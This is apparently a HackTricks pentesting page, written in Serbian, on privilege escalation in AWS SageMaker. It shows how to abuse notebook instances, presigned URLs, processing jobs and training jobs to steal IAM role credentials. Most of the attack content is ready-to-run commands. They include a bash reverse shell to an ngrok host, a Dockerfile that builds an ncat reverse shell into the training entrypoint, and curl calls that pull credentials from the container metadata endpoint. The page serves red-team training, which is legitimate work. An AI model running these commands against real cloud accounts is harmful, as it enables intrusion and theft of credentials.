AWS - Sagemaker Privesc

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Počnite sa kreiranjem beležnice sa IAM rolom koja je povezana sa njom:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Odgovor bi trebao sadržati polje NotebookInstanceArn, koje će sadržati ARN novokreiranog notebook instance. Zatim možemo koristiti create-presigned-notebook-instance-url API da generišemo URL koji možemo koristiti za pristup notebook instance kada bude spreman:

bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigirajte do URL-a u pretraživaču i kliknite na `Open JupyterLab` u gornjem desnom uglu, zatim se pomerite do taba “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”.

Sada je moguće pristupiti metapodacima kredencijala IAM Role.

Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je navedena.

sagemaker:CreatePresignedNotebookInstanceUrl

Ako su Jupyter notebook-ovi već pokrenuti na njemu i možete ih nabrojati sa sagemaker:ListNotebookInstances (ili ih otkriti na bilo koji drugi način). Možete generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici.

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je povezana.

sagemaker:CreateProcessingJob,iam:PassRole

Napadač sa tim dozvolama može naterati sagemaker da izvrši processingjob sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u AWS upravljanom ECS nalogu, i ukrasti kredencijale IAM uloge koja je povezana.

bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je navedena.

sagemaker:CreateTrainingJob, iam:PassRole

Napadač sa tim dozvolama će moći da kreira trening posao, pokrećući proizvoljni kontejner na njemu sa priključenom ulogom. Stoga, napadač će moći da ukrade kredencijale te uloge.

warning

Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će direktno slati rev shell ili kredencijale napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla).

# Kreirajte docker sliku
mkdir /tmp/rev
## Imajte na umu da će trening posao pozvati izvršnu datoteku pod nazivom "train"
## Zato stavljam rev shell u /bin/train
## Postavite vrednosti <YOUR-IP-OR-DOMAIN> i <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Učitajte ga u ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
bash
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je navedena.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Napadač sa tim dozvolama će (potencijalno) moći da kreira hyperparameter training job, pokreće proizvoljan kontejner na njemu sa priključenom ulogom.
Nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks